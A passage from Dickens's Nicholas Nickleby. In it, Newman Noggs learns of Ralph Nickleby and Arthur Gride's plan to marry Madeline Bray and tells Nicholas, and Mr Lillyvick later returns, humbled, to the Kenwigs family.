ingenious scheme, +and expressed her satisfaction by various rackings and twitchings of +her head and body, which by no means enhanced her charms. These she +prolonged until she had hobbled to the door, when she exchanged them +for a sour malignant look, and twisting her under-jaw from side to +side, muttered hearty curses upon the future Mrs Gride, as she crept +slowly down the stairs, and paused for breath at nearly every one. + +'She's half a witch, I think,' said Arthur Gride, when he found +himself again alone. 'But she's very frugal, and she's very deaf. +Her living costs me next to nothing; and it's no use her listening +at keyholes; for she can't hear. She's a charming woman--for the +purpose; a most discreet old housekeeper, and worth her weight in-- +copper.' + +Having extolled the merits of his domestic in these high terms, old +Arthur went back to the burden of his song. The suit destined to +grace his approaching nuptials being now selected, he replaced the +others with no less care than he had displayed in drawing them from +the musty nooks where they had silently reposed for many years. + +Startled by a ring at the door, he hastily concluded this operation, +and locked the press; but there was no need for any particular +hurry, as the discreet Peg seldom knew the bell was rung unless she +happened to cast her dim eyes upwards, and to see it shaking against +the kitchen ceiling. After a short delay, however, Peg tottered in, +followed by Newman Noggs. + +'Ah! Mr Noggs!' cried Arthur Gride, rubbing his hands. 'My good +friend, Mr Noggs, what news do you bring for me?' + +Newman, with a steadfast and immovable aspect, and his fixed eye +very fixed indeed, replied, suiting the action to the word, 'A +letter. From Mr Nickleby. Bearer waits.' + +'Won't you take a--a--' + +Newman looked up, and smacked his lips. + +'--A chair?' said Arthur Gride. + +'No,' replied Newman. 'Thankee.' + +Arthur opened the letter with trembling hands, and devoured its +contents with the utmost greediness; chuckling rapturously over it, +and reading it several times, before he could take it from before +his eyes. So many times did he peruse and re-peruse it, that Newman +considered it expedient to remind him of his presence. + +'Answer,' said Newman. 'Bearer waits.' + +'True,' replied old Arthur. 'Yes--yes; I almost forgot, I do +declare.' + +'I thought you were forgetting,' said Newman. + +'Quite right to remind me, Mr Noggs. Oh, very right indeed,' said +Arthur. 'Yes. I'll write a line. I'm--I'm--rather flurried, Mr +Noggs. The news is--' + +'Bad?' interrupted Newman. + +'No, Mr Noggs, thank you; good, good. The very best of news. Sit +down. I'll get the pen and ink, and write a line in answer. I'll +not detain you long. I know you're a treasure to your master, Mr +Noggs. He speaks of you in such terms, sometimes, that, oh dear! +you'd be astonished. I may say that I do too, and always did. I +always say the same of you.' + +'That's "Curse Mr Noggs with all my heart!" then, if you do,' +thought Newman, as Gride hurried out. + +The letter had fallen on the ground. Looking carefully about him +for an instant, Newman, impelled by curiosity to know the result of +the design he had overheard from his office closet, caught it up and +rapidly read as follows: + + +'GRIDE. + +'I saw Bray again this morning, and proposed the day after +tomorrow (as you suggested) for the marriage. There is no objection +on his part, and all days are alike to his daughter. We will go +together, and you must be with me by seven in the morning. I need +not tell you to be punctual. + +'Make no further visits to the girl in the meantime. You have been +there, of late, much oftener than you should. She does not languish +for you, and it might have been dangerous. Restrain your youthful +ardour for eight-and-forty hours, and leave her to the father. You +only undo what he does, and does well. + +'Yours, + +'RALPH NICKLEBY.' + + +A footstep was heard without. Newman dropped the letter on the same +spot again, pressed it with his foot to prevent its fluttering away, +regained his seat in a single stride, and looked as vacant and +unconscious as ever mortal looked. Arthur Gride, after peering +nervously about him, spied it on the ground, picked it up, and +sitting down to write, glanced at Newman Noggs, who was staring at +the wall with an intensity so remarkable, that Arthur was quite +alarmed. + +'Do you see anything particular, Mr Noggs?' said Arthur, trying to +follow the direction of Newman's eyes--which was an impossibility, +and a thing no man had ever done. + +'Only a cobweb,' replied Newman. + +'Oh! is that all?' + +'No,' said Newman. 'There's a fly in it.' + +'There are a good many cobwebs here,' observed Arthur Gride. + +'So there are in our place,' returned Newman; 'and flies too.' + +Newman appeared to derive great entertainment from this repartee, +and to the great discomposure of Arthur Gride's nerves, produced a +series of sharp cracks from his finger-joints, resembling the noise +of a distant discharge of small artillery. Arthur succeeded in +finishing his reply to Ralph's note, nevertheless, and at length +handed it over to the eccentric messenger for delivery. + +'That's it, Mr Noggs,' said Gride. + +Newman gave a nod, put it in his hat, and was shuffling away, when +Gride, whose doting delight knew no bounds, beckoned him back again, +and said, in a shrill whisper, and with a grin which puckered up his +whole face, and almost obscured his eyes: + +'Will you--will you take a little drop of something--just a taste?' + +In good fellowship (if Arthur Gride had been capable of it) Newman +would not have drunk with him one bubble of the richest wine that +was ever made; but to see what he would be at, and to punish him as +much as he could, he accepted the offer immediately. + +Arthur Gride, therefore, again applied himself to the press, and +from a shelf laden with tall Flemish drinking-glasses, and quaint +bottles: some with necks like so many storks, and others with square +Dutch-built bodies and short fat apoplectic throats: took down one +dusty bottle of promising appearance, and two glasses of curiously +small size. + +'You never tasted this,' said Arthur. 'It's EAU-D'OR--golden water. +I like it on account of its name. It's a delicious name. Water of +gold, golden water! O dear me, it seems quite a sin to drink it!' + +As his courage appeared to be fast failing him, and he trifled with +the stopper in a manner which threatened the dismissal of the bottle +to its old place, Newman took up one of the little glasses, and +clinked it, twice or thrice, against the bottle, as a gentle reminder +that he had not been helped yet. With a deep sigh, Arthur Gride +slowly filled it--though not to the brim--and then filled his own. + +'Stop, stop; don't drink it yet,' he said, laying his hand on +Newman's; 'it was given to me, twenty years ago, and when I take a +little taste, which is ve--ry seldom, I like to think of it +beforehand, and tease myself. We'll drink a toast. Shall we drink +a toast, Mr Noggs?' + +'Ah!' said Newman, eyeing his little glass impatiently. 'Look +sharp. Bearer waits.' + +'Why, then, I'll tell you what,' tittered Arthur, 'we'll drink--he, +he, he!--we'll drink a lady.' + +'THE ladies?' said Newman. + +'No, no, Mr Noggs,' replied Gride, arresting his hand, 'A lady. You +wonder to hear me say A lady. I know you do, I know you do. Here's +little Madeline. That's the toast. Mr Noggs. Little Madeline!' + +'Madeline!' said Newman; inwardly adding, 'and God help her!' + +The rapidity and unconcern with which Newman dismissed his portion +of the golden water, had a great effect upon the old man, who sat +upright in his chair, and gazed at him, open-mouthed, as if the +sight had taken away his breath. Quite unmoved, however, Newman +left him to sip his own at leisure, or to pour it back again into +the bottle, if he chose, and departed; after greatly outraging the +dignity of Peg Sliderskew by brushing past her, in the passage, +without a word of apology or recognition. + +Mr Gride and his housekeeper, immediately on being left alone, +resolved themselves into a committee of ways and means, and +discussed the arrangements which should be made for the reception of +the young bride. As they were, like some other committees, +extremely dull and prolix in debate, this history may pursue the +footsteps of Newman Noggs; thereby combining advantage with +necessity; for it would have been necessary to do so under any +circumstances, and necessity has no law, as all the world knows. + +'You've been a long time,' said Ralph, when Newman returned. + +'HE was a long time,' replied Newman. + +'Bah!' cried Ralph impatiently. 'Give me his note, if he gave you +one: his message, if he didn't. And don't go away. I want a word +with you, sir.' + +Newman handed in the note, and looked very virtuous and innocent +while his employer broke the seal, and glanced his eye over it. + +'He'll be sure to come,' muttered Ralph, as he tore it to pieces; +'why of course, I know he'll be sure to come. What need to say +that? Noggs! Pray, sir, what man was that, with whom I saw you in +the street last night?' + +'I don't know,' replied Newman. + +'You had better refresh your memory, sir,' said Ralph, with a +threatening look. + +'I tell you,' returned Newman boldly, 'that I don't know. He came +here twice, and asked for you. You were out. He came again. You +packed him off, yourself. He gave the name of Brooker.' + +'I know he did,' said Ralph; 'what then?' + +'What then? Why, then he lurked about and dogged me in the street. +He follows me, night after night, and urges me to bring him face to +face with you; as he says he has been once, and not long ago either. +He wants to see you face to face, he says, and you'll soon hear him +out, he warrants.' + +'And what say you to that?' inquired Ralph, looking keenly at his +drudge. + +'That it's no business of mine, and I won't. I told him he might +catch you in the street, if that was all he wanted, but no! that +wouldn't do. You wouldn't hear a word there, he said. He must have +you alone in a room with the door locked, where he could speak +without fear, and you'd soon change your tone, and hear him +patiently.' + +'An audacious dog!' Ralph muttered. + +'That's all I know,' said Newman. 'I say again, I don't know what +man he is. I don't believe he knows himself. You have seen him; +perhaps YOU do.' + +'I think I do,' replied Ralph. + +'Well,' retored Newman, sulkily, 'don't expect me to know him too; +that's all. You'll ask me, next, why I never told you this before. +What would you say, if I was to tell you all that people say of you? +What do you call me when I sometimes do? "Brute, ass!" and snap at +me like a dragon.' + +This was true enough; though the question which Newman anticipated, +was, in fact, upon Ralph's lips at the moment. + +'He is an idle ruffian,' said Ralph; 'a vagabond from beyond the sea +where he travelled for his crimes; a felon let loose to run his neck +into the halter; a swindler, who has the audacity to try his schemes +on me who know him well. The next time he tampers with you, hand +him over to the police, for attempting to extort money by lies and +threats,--d'ye hear?--and leave the rest to me. He shall cool his +heels in jail a little time, and I'll be bound he looks for other +folks to fleece, when he comes out. You mind what I say, do you?' + +'I hear,' said Newman. + +'Do it then,' returned Ralph, 'and I'll reward you. Now, you may +go.' + +Newman readily availed himself of the permission, and, shutting +himself up in his little office, remained there, in very serious +cogitation, all day. When he was released at night, he proceeded, +with all the expedition he could use, to the city, and took up his +old position behind the pump, to watch for Nicholas. For Newman +Noggs was proud in his way, and could not bear to appear as his +friend, before the brothers Cheeryble, in the shabby and degraded +state to which he was reduced. + +He had not occupied this position many minutes, when he was rejoiced +to see Nicholas approaching, and darted out from his ambuscade to +meet him. Nicholas, on his part, was no less pleased to encounter +his friend, whom he had not seen for some time; so, their greeting +was a warm one. + +'I was thinking of you, at that moment,' said Nicholas. + +'That's right,' rejoined Newman, 'and I of you. I couldn't help +coming up, tonight. I say, I think I am going to find out +something.' + +'And what may that be?' returned Nicholas, smiling at this odd +communication. + +'I don't know what it may be, I don't know what it may not be,' said +Newman; 'it's some secret in which your uncle is concerned, but +what, I've not yet been able to discover, although I have my strong +suspicions. I'll not hint 'em now, in case you should be +disappointed.' + +'I disappointed!' cried Nicholas; 'am I interested?' + +'I think you are,' replied Newman. 'I have a crotchet in my head +that it must be so. I have found out a man, who plainly knows more +than he cares to tell at once. And he has already dropped such +hints to me as puzzle me--I say, as puzzle me,' said Newman, +scratching his red nose into a state of violent inflammation, and +staring at Nicholas with all his might and main meanwhile. + +Admiring what could have wound his friend up to such a pitch of +mystery, Nicholas endeavoured, by a series of questions, to +elucidate the cause; but in vain. Newman could not be drawn into +any more explicit statement than a repetition of the perplexities he +had already thrown out, and a confused oration, showing, How it was +necessary to use the utmost caution; how the lynx-eyed Ralph had +already seen him in company with his unknown correspondent; and how +he had baffled the said Ralph by extreme guardedness of manner and +ingenuity of speech; having prepared himself for such a contingency +from the first. + +Remembering his companion's propensity,--of which his nose, indeed, +perpetually warned all beholders like a beacon,--Nicholas had drawn +him into a sequestered tavern. Here, they fell to reviewing the +origin and progress of their acquaintance, as men sometimes do, and +tracing out the little events by which it was most strongly marked, +came at last to Miss Cecilia Bobster. + +'And that reminds me,' said Newman, 'that you never told me the +young lady's real name.' + +'Madeline!' said Nicholas. + +'Madeline!' cried Newman. 'What Madeline? Her other name. Say her +other name.' + +'Bray,' said Nicholas, in great astonishment. + +'It's the same!' cried Newman. 'Sad story! Can you stand idly by, +and let that unnatural marriage take place without one attempt to +save her?' + +'What do you mean?' exclaimed Nicholas, starting up; 'marriage! are +you mad?' + +'Are you? Is she? Are you blind, deaf, senseless, dead?' said +Newman. 'Do you know that within one day, by means of your uncle +Ralph, she will be married to a man as bad as he, and worse, if +worse there is? Do you know that, within one day, she will be +sacrificed, as sure as you stand there alive, to a hoary wretch--a +devil born and bred, and grey in devils' ways?' + +'Be careful what you say,' replied Nicholas. 'For Heaven's sake be +careful! I am left here alone, and those who could stretch out a +hand to rescue her are far away. What is it that you mean?' + +'I never heard her name,' said Newman, choking with his energy. +'Why didn't you tell me? How was I to know? We might, at least, +have had some time to think!' + +'What is it that you mean?' cried Nicholas. + +It was not an easy task to arrive at this information; but, after a +great quantity of extraordinary pantomime, which in no way assisted +it, Nicholas, who was almost as wild as Newman Noggs himself, forced +the latter down upon his seat and held him down until he began his +tale. + +Rage, astonishment, indignation, and a storm of passions, rushed +through the listener's heart, as the plot was laid bare. He no +sooner understood it all, than with a face of ashy paleness, and +trembling in every limb, he darted from the house. + +'Stop him!' cried Newman, bolting out in pursuit. 'He'll be doing +something desperate; he'll murder somebody. Hallo! there, stop him. +Stop thief! stop thief!' + + + +CHAPTER 52 + +Nicholas despairs of rescuing Madeline Bray, but plucks up his +Spirits again, and determines to attempt it. Domestic Intelligence +of the Kenwigses and Lillyvicks + + +Finding that Newman was determined to arrest his progress at any +hazard, and apprehensive that some well-intentioned passenger, +attracted by the cry of 'Stop thief,' might lay violent hands upon +his person, and place him in a disagreeable predicament from which +he might have some difficulty in extricating himself, Nicholas soon +slackened his pace, and suffered Newman Noggs to come up with him: +which he did, in so breathless a condition, that it seemed +impossible he could have held out for a minute longer. + +'I will go straight to Bray's,' said Nicholas. 'I will see this +man. If there is a feeling of humanity lingering in his breast, a +spark of consideration for his own child, motherless and friendless +as she is, I will awaken it.' + +'You will not,' replied Newman. 'You will not, indeed.' + +'Then,' said Nicholas, pressing onward, 'I will act upon my first +impulse, and go straight to Ralph Nickleby.' + +'By the time you reach his house he will be in bed,' said Newman. + +'I'll drag him from it,' cried Nicholas. + +'Tut, tut,' said Noggs. 'Be yourself.' + +'You are the best of friends to me, Newman,' rejoined Nicholas after +a pause, and taking his hand as he spoke. 'I have made head against +many trials; but the misery of another, and such misery, is involved +in this one, that I declare to you I am rendered desperate, and know +not how to act.' + +In truth, it did seem a hopeless case. It was impossible to make +any use of such intelligence as Newman Noggs had gleaned, when he +lay concealed in the closet. The mere circumstance of the compact +between Ralph Nickleby and Gride would not invalidate the marriage, +or render Bray averse to it, who, if he did not actually know of the +existence of some such understanding, doubtless suspected it. What +had been hinted with reference to some fraud on Madeline, had been +put, with sufficient obscurity by Arthur Gride, but coming from +Newman Noggs, and obscured still further by the smoke of his +pocket-pistol, it became wholly unintelligible, and involved in utter +darkness. + +'There seems no ray of hope,' said Nicholas. + +'The greater necessity for coolness, for reason, for consideration, +for thought,' said Newman, pausing at every alternate word, to look +anxiously in his friend's face. 'Where are the brothers?' + +'Both absent on urgent business, as they will be for a week to +come.' + +'Is there no way of communicating with them? No way of getting one +of them here by tomorrow night?' + +'Impossible!' said Nicholas, 'the sea is between us and them. With +the fairest winds that ever blew, to go and return would take three +days and nights.' + +'Their nephew,' said Newman, 'their old clerk.' + +'What could either do, that I cannot?' rejoined Nicholas. 'With +reference to them, especially, I am enjoined to the strictest +silence on this subject. What right have I to betray the confidence +reposed in me, when nothing but a miracle can prevent this sacrifice?' + +'Think,' urged Newman. 'Is there no way.' + +'There is none,' said Nicholas, in utter dejection. 'Not one. The +father urges, the daughter consents. These demons have her in their +toils; legal right, might, power, money, and every influence are on +their side. How can I hope to save her?' + +'Hope to the last!' said Newman, clapping him on the back. 'Always +hope; that's a dear boy. Never leave off hoping; it don't answer. Do +you mind me, Nick? It don't answer. Don't leave a stone unturned. +It's always something, to know you've done the most you could. But, +don't leave off hoping, or it's of no use doing anything. Hope, +hope, to the last!' + +Nicholas needed encouragement. The suddenness with which +intelligence of the two usurers' plans had come upon him, the little +time which remained for exertion, the probability, almost amounting +to certainty itself, that a few hours would place Madeline Bray for +ever beyond his reach, consign her to unspeakable misery, and +perhaps to an untimely death; all this quite stunned and overwhelmed +him. Every hope connected with her that he had suffered himself to +form, or had entertained unconsciously, seemed to fall at his feet, +withered and dead. Every charm with which his memory or imagination +had surrounded her, presented itself before him, only to heighten +his anguish and add new bitterness to his despair. Every feeling of +sympathy for her forlorn condition, and of admiration for her +heroism and fortitude, aggravated the indignation which shook him in +every limb, and swelled his heart almost to bursting. + +But, if Nicholas's own heart embarrassed him, Newman's came to his +relief. There was so much earnestness in his remonstrance, and such +sincerity and fervour in his manner, odd and ludicrous as it always +was, that it imparted to Nicholas new firmness, and enabled him to +say, after he had walked on for some little way in silence: + +'You read me a good lesson, Newman, and I will profit by it. One +step, at least, I may take--am bound to take indeed--and to that I +will apply myself tomorrow.' + +'What is that?' asked Noggs wistfully. 'Not to threaten Ralph? Not +to see the father?' + +'To see the daughter, Newman,' replied Nicholas. 'To do what, after +all, is the utmost that the brothers could do, if they were here, as +Heaven send they were! To reason with her upon this hideous union, +to point out to her all the horrors to which she is hastening; +rashly, it may be, and without due reflection. To entreat her, at +least, to pause. She can have had no counsellor for her good. +Perhaps even I may move her so far yet, though it is the eleventh +hour, and she upon the very brink of ruin.' + +'Bravely spoken!' said Newman. 'Well done, well done! Yes. Very +good.' + +'And I do declare,' cried Nicholas, with honest enthusiasm, 'that in +this effort I am influenced by no selfish or personal +considerations, but by pity for her, and detestation and abhorrence +of this scheme; and that I would do the same, were there twenty +rivals in the field, and I the last and least favoured of them all.' + +'You would, I believe,' said Newman. 'But where are you hurrying +now?' + +'Homewards,' answered Nicholas. 'Do you come with me, or I shall +say good-night?' + +'I'll come a little way, if you will but walk: not run,' said Noggs. + +'I cannot walk tonight, Newman,' returned Nicholas, hurriedly. 'I +must move rapidly, or I could not draw my breath. I'll tell you +what I've said and done tomorrow.' + +Without waiting for a reply, he darted off at a rapid pace, and, +plunging into the crowds which thronged the street, was quickly lost +to view. + +'He's a violent youth at times,' said Newman, looking after him; +'and yet like him for it. There's cause enough now, or the deuce is +in it. Hope! I SAID hope, I think! Ralph Nickleby and Gride with +their heads together! And hope for the opposite party! Ho! ho!' + +It was with a very melancholy laugh that Newman Noggs concluded this +soliloquy; and it was with a very melancholy shake of the head, and +a very rueful countenance, that he turned about, and went plodding +on his way. + +This, under ordinary circumstances, would have been to some small +tavern or dram-shop; that being his way, in more senses than one. +But, Newman was too much interested, and too anxious, to betake +himself even to this resource, and so, with many desponding and +dismal reflections, went straight home. + +It had come to pass, that afternoon, that Miss Morleena Kenwigs had +received an invitation to repair next day, per steamer from +Westminster Bridge, unto the Eel-pie Island at Twickenham: there to +make merry upon a cold collation, bottled beer, shrub, and shrimps, +and to dance in the open air to the music of a locomotive band, +conveyed thither for the purpose: the steamer being specially +engaged by a dancing-master of extensive connection for the +accommodation of his numerous pupils, and the pupils displaying +their appreciation of the dancing-master's services, by purchasing +themselves, and inducing their friends to do the like, divers light- +blue tickets, entitling them to join the expedition. Of these light- +blue tickets, one had been presented by an ambitious neighbour to +Miss Morleena Kenwigs, with an invitation to join her daughters; and +Mrs Kenwigs, rightly deeming that the honour of the family was +involved in Miss Morleena's making the most splendid appearance +possible on so short a notice, and testifying to the dancing-master +that there were other dancing-masters besides him, and to all +fathers and mothers present that other people's children could learn +to be genteel besides theirs, had fainted away twice under the +magnitude of her preparations, but, upheld by a determination to +sustain the family name or perish in the attempt, was still hard at +work when Newman Noggs came home. + +Now, between the italian-ironing of frills, the flouncing of +trousers, the trimming of frocks, the faintings and the comings-to +again, incidental to the occasion, Mrs Kenwigs had been so entirely +occupied, that she had not observed, until within half an hour +before, that the flaxen tails of Miss Morleena's hair were, in a +manner, run to seed; and that, unless she were put under the hands +of a skilful hairdresser, she never could achieve that signal +triumph over the daughters of all other people, anything less than +which would be tantamount to defeat. This discovery drove Mrs +Kenwigs to despair; for the hairdresser lived three streets and +eight dangerous crossings off; Morleena could not be trusted to go +there alone, even if such a proceeding were strictly proper: of +which Mrs Kenwigs had her doubts; Mr Kenwigs had not returned from +business; and there was nobody to take her. So, Mrs Kenwigs first +slapped Miss Kenwigs for being the cause of her vexation, and then +shed tears. + +'You ungrateful child!' said Mrs Kenwigs, 'after I have gone through +what I have, this night, for your good.' + +'I can't help it, ma,' replied Morleena, also in tears; 'my hair +WILL grow.' + +'Don't talk to me, you naughty thing!' said Mrs Kenwigs, 'don't! +Even if I was to trust you by yourself and you were to escape being +run over, I know you'd run in to Laura Chopkins,' who was the +daughter of the ambitious neighbour, 'and tell her what you're going +to wear tomorrow, I know you would. You've no proper pride in +yourself, and are not to be trusted out of sight for an instant.' + +Deploring the evil-mindedness of her eldest daughter in these terms, +Mrs Kenwigs distilled fresh drops of vexation from her eyes, and +declared that she did believe there never was anybody so tried as +she was. Thereupon, Morleena Kenwigs wept afresh, and they bemoaned +themselves together. + +Matters were at this point, as Newman Noggs was heard to limp past +the door on his way upstairs; when Mrs Kenwigs, gaining new hope +from the sound of his footsteps, hastily removed from her +countenance as many traces of her late emotion as were effaceable on +so short a notice: and presenting herself before him, and +representing their dilemma, entreated that he would escort Morleena +to the hairdresser's shop. + +'I wouldn't ask you, Mr Noggs,' said Mrs Kenwigs, 'if I didn't know +what a good, kind-hearted creature you are; no, not for worlds. I +am a weak constitution, Mr Noggs, but my spirit would no more let me +ask a favour where I thought there was a chance of its being +refused, than it would let me submit to see my children trampled +down and trod upon, by envy and lowness!' + +Newman was too good-natured not to have consented, even without this +avowal of confidence on the part of Mrs Kenwigs. Accordingly, a +very few minutes had elapsed, when he and Miss Morleena were on +their way to the hairdresser's. + +It was not exactly a hairdresser's; that is to say, people of a +coarse and vulgar turn of mind might have called it a barber's; for +they not only cut and curled ladies elegantly, and children +carefully, but shaved gentlemen easily. Still, it was a highly +genteel establishment--quite first-rate in fact--and there were +displayed in the window, besides other elegancies, waxen busts of a +light lady and a dark gentleman which were the admiration of the +whole neighbourhood. Indeed, some ladies had gone so far as to +assert, that the dark gentleman was actually a portrait of the +spirted young proprietor; and the great similarity between their +head-dresses--both wore very glossy hair, with a narrow walk +straight down the middle, and a profusion of flat circular curls on +both sides--encouraged the idea. The better informed among the sex, +however, made light of this assertion, for however willing they were +(and they were very willing) to do full justice to the handsome face +and figure of the proprietor, they held the countenance of the dark +gentleman in the window to be an exquisite and abstract idea of +masculine beauty, realised sometimes, perhaps, among angels and +military men, but very rarely embodied to gladden the eyes of +mortals. + +It was to this establishment that Newman Noggs led Miss Kenwigs in +safety. The proprietor, knowing that Miss Kenwigs had three +sisters, each with two flaxen tails, and all good for sixpence +apiece, once a month at least, promptly deserted an old gentleman +whom he had just lathered for shaving, and handing him over to the +journeyman, (who was not very popular among the ladies, by reason +of his obesity and middle age,) waited on the young lady himself. + +Just as this change had been effected, there presented himself for +shaving, a big, burly, good-humoured coal-heaver with a pipe in his +mouth, who, drawing his hand across his chin, requested to know when +a shaver would be disengaged. + +The journeyman, to whom this question was put, looked doubtfully at +the young proprietor, and the young proprietor looked scornfully at +the coal-heaver: observing at the same time: + +'You won't get shaved here, my man.' + +'Why not?' said the coal-heaver. + +'We don't shave gentlemen in your line,' remarked the young +proprietor. + +'Why, I see you a shaving of a baker, when I was a looking through +the winder, last week,' said the coal-heaver. + +'It's necessary to draw the line somewheres, my fine feller,' +replied the principal. 'We draw the line there. We can't go beyond +bakers. If we was to get any lower than bakers, our customers would +desert us, and we might shut up shop. You must try some other +establishment, sir. We couldn't do it here.' + +The applicant stared; grinned at Newman Noggs, who appeared highly +entertained; looked slightly round the shop, as if in depreciation +of the pomatum pots and other articles of stock; took his pipe out +of his mouth and gave a very loud whistle; and then put it in again, +and walked out. + +The old gentleman who had just been lathered, and who was sitting in +a melancholy manner with his face turned towards the wall, appeared +quite unconscious of this incident, and to be insensible to +everything around him in the depth of a reverie--a very mournful +one, to judge from the sighs he occasionally vented--in which he was +absorbed. Affected by this example, the proprietor began to clip +Miss Kenwigs, the journeyman to scrape the old gentleman, and Newman +Noggs to read last Sunday's paper, all three in silence: when Miss +Kenwigs uttered a shrill little scream, and Newman, raising his +eyes, saw that it had been elicited by the circumstance of the old +gentleman turning his head, and disclosing the features of Mr +Lillyvick the collector. + +The features of Mr Lillyvick they were, but strangely altered. If +ever an old gentleman had made a point of appearing in public, +shaved close and clean, that old gentleman was Mr Lillyvick. If +ever a collector had borne himself like a collector, and assumed, +before all men, a solemn and portentous dignity as if he had the +world on his books and it was all two quarters in arrear, that +collector was Mr Lillyvick. And now, there he sat, with the remains +of a beard at least a week old encumbering his chin; a soiled and +crumpled shirt-frill crouching, as it were, upon his breast, instead +of standing boldly out; a demeanour so abashed and drooping, so +despondent, and expressive of such humiliation, grief, and shame; +that if the souls of forty unsubstantial housekeepers, all of whom +had had their water cut off for non-payment of the rate, could have +been concentrated in one body, that one body could hardly have +expressed such mortification and defeat as were now expressed in the +person of Mr Lillyvick the collector. + +Newman Noggs uttered his name, and Mr Lillyvick groaned: then +coughed to hide it. But the groan was a full-sized groan, and the +cough was but a wheeze. + +'Is anything the matter?' said Newman Noggs. + +'Matter, sir!' cried Mr Lillyvick. 'The plug of life is dry, sir, +and but the mud is left.' + +This speech--the style of which Newman attributed to Mr Lillyvick's +recent association with theatrical characters--not being quite +explanatory, Newman looked as if he were about to ask another +question, when Mr Lillyvick prevented him by shaking his hand +mournfully, and then waving his own. + +'Let me be shaved!' said Mr Lillyvick. 'It shall be done before +Morleena; it IS Morleena, isn't it?' + +'Yes,' said Newman. + +'Kenwigses have got a boy, haven't they?' inquired the collector. + +Again Newman said 'Yes.' + +'Is it a nice boy?' demanded the collector. + +'It ain't a very nasty one,' returned Newman, rather embarrassed by +the question. + +'Susan Kenwigs used to say,' observed the collector, 'that if ever +she had another boy, she hoped it might be like me. Is this one +like me, Mr Noggs?' + +This was a puzzling inquiry; but Newman evaded it, by replying to Mr +Lillyvick, that he thought the baby might possibly come like him in +time. + +'I should be glad to have somebody like me, somehow,' said Mr +Lillyvick, 'before I die.' + +'You don't mean to do that, yet awhile?' said Newman. + +Unto which Mr Lillyvick replied in a solemn voice, 'Let me be +shaved!' and again consigning himself to the hands of the +journeyman, said no more. + +This was remarkable behaviour. So remarkable did it seem to Miss +Morleena, that that young lady, at the imminent hazard of having her +ear sliced off, had not been able to forbear looking round, some +score of times, during the foregoing colloquy. Of her, however, Mr +Lillyvick took no notice: rather striving (so, at least, it seemed +to Newman Noggs) to evade her observation, and to shrink into +himself whenever he attracted her regards. Newman wondered very +much what could have occasioned this altered behaviour on the part +of the collector; but, philosophically reflecting that he would most +likely know, sooner or later, and that he could perfectly afford to +wait, he was very little disturbed by the singularity of the old +gentleman's deportment. + +The cutting and curling being at last concluded, the old gentleman, +who had been some time waiting, rose to go, and, walking out with +Newman and his charge, took Newman's arm, and proceeded for some +time without making any observation. Newman, who in power of +taciturnity was excelled by few people, made no attempt to break +silence; and so they went on, until they had very nearly reached +Miss Morleena's home, when Mr Lillyvick said: + +'Were the Kenwigses very much overpowered, Mr Noggs, by that news?' + +'What news?' returned Newman. + +'That about--my--being--' + +'Married?' suggested Newman. + +'Ah!' replied Mr Lillyvick, with another groan; this time not even +disguised by a wheeze. + +'It made ma cry when she knew it,' interposed Miss Morleena, 'but we +kept it from her for a long time; and pa was very low in his +spirits, but he is better now; and I was very ill, but I am better +too.' + +'Would you give your great-uncle Lillyvick a kiss if he was to ask +you, Morleena?' said the collector, with some hesitation. + +'Yes; uncle Lillyvick, I would,' returned Miss Morleena, with the +energy of both her parents combined; 'but not aunt Lillyvick. She's +not an aunt of mine, and I'll never call her one.' + +Immediately upon the utterance of these words, Mr Lillyvick caught +Miss Morleena up in his arms, and kissed her; and, being by this +time at the door of the house where Mr Kenwigs lodged (which, as has +been before mentioned, usually stood wide open), he walked straight +up into Mr Kenwigs's sitting-room, and put Miss Morleena down in the +midst. Mr and Mrs Kenwigs were at supper. At sight of their +perjured relative, Mrs Kenwigs turned faint and pale, and Mr Kenwigs +rose majestically. + +'Kenwigs,' said the collector, 'shake hands.' + +'Sir,' said Mr Kenwigs, 'the time has been, when I was proud to +shake hands with such a man as that man as now surweys me. The time +has been, sir,' said Mr Kenwigs, 'when a wisit from that man has +excited in me and my family's boozums sensations both nateral and +awakening. But, now, I look upon that man with emotions totally +surpassing everythink, and I ask myself where is his Honour, where +is his straight-for'ardness, and where is his human natur?' + +'Susan Kenwigs,' said Mr Lillyvick, turning humbly to his niece, +'don't you say anything to me?' + +'She is not equal to it, sir,' said Mr Kenwigs, striking the table +emphatically. 'What with the nursing of a healthy babby, and the +reflections upon your cruel conduct, four pints of malt liquor a day +is hardly able to sustain her.' + +'I am glad,' said the poor collector meekly, 'that the baby is a +healthy one. I am very glad of that.' + +This was touching the Kenwigses on their tenderest point. Mrs +Kenwigs instantly burst into tears, and Mr Kenwigs evinced great +emotion. + +'My pleasantest feeling, all the time that child was expected,' said +Mr Kenwigs, mournfully, 'was a thinking, "If it's a boy, as I hope +it may be; for I have heard its uncle Lillyvick say again and again +he would prefer our having a boy next, if it's a boy, what will his +uncle Lillyvick say? What will he like him to be called? Will he be +Peter, or Alexander, or Pompey, or Diorgeenes, or what will he be?" +And now when I look at him; a precious, unconscious, helpless +infant, with no use in his little arms but to tear his little cap, +and no use in his little legs but to kick his little self--when I +see him a lying on his mother's lap, cooing and cooing, and, in his +innocent state, almost a choking hisself with his little fist--when +I see him such a infant as he is, and think that that uncle +Lillyvick, as was once a-going to be so fond of him, has withdrawed +himself away, such a feeling of wengeance comes over me as no +language can depicter, and I feel as if even that holy babe was a +telling me to hate him.' + +This affecting picture moved Mrs Kenwigs deeply. After several +imperfect words, which vainly attempted to struggle to the surface, +but were drowned and washed away by the strong tide of her tears, +she spake. + +'Uncle,' said Mrs Kenwigs, 'to think that you should have turned +your back upon me and my dear children, and upon Kenwigs which is +the author of their being--you who was once so kind and +affectionate, and who, if anybody had told us such a thing of, we +should have withered with scorn like lightning--you that little +Lillyvick, our first and earliest boy, was named after at the very +altar! Oh gracious!' + +'Was it money that we cared for?' said Mr Kenwigs. 'Was it property +that we ever thought of?' + +'No,' cried Mrs Kenwigs, 'I scorn it.' + +'So do I,' said Mr Kenwigs, 'and always did.' + +'My feelings have been lancerated,' said Mrs Kenwigs, 'my heart has +been torn asunder with anguish, I have been thrown back in my +confinement, my unoffending infant has been rendered uncomfortable +and fractious, Morleena has pined herself away to nothing; all this +I forget and forgive, and with you, uncle, I never can quarrel. But +never ask me to receive HER, never do it, uncle. For I will not, I +will not, I won't, I won't, I won't!' + +'Susan, my dear,' said Mr Kenwigs, 'consider your child.' + +'Yes,' shrieked Mrs Kenwigs, 'I will consider my child! I will +consider my child! My own child, that no uncles can deprive me of; +my own hated, despised, deserted, cut-off little child.' And, here, +the emotions of Mrs Kenwigs became so violent, that Mr Kenwigs was +fain to administer hartshorn internally, and vinegar externally, and +to destroy a staylace, four petticoat strings, and several small +buttons. + 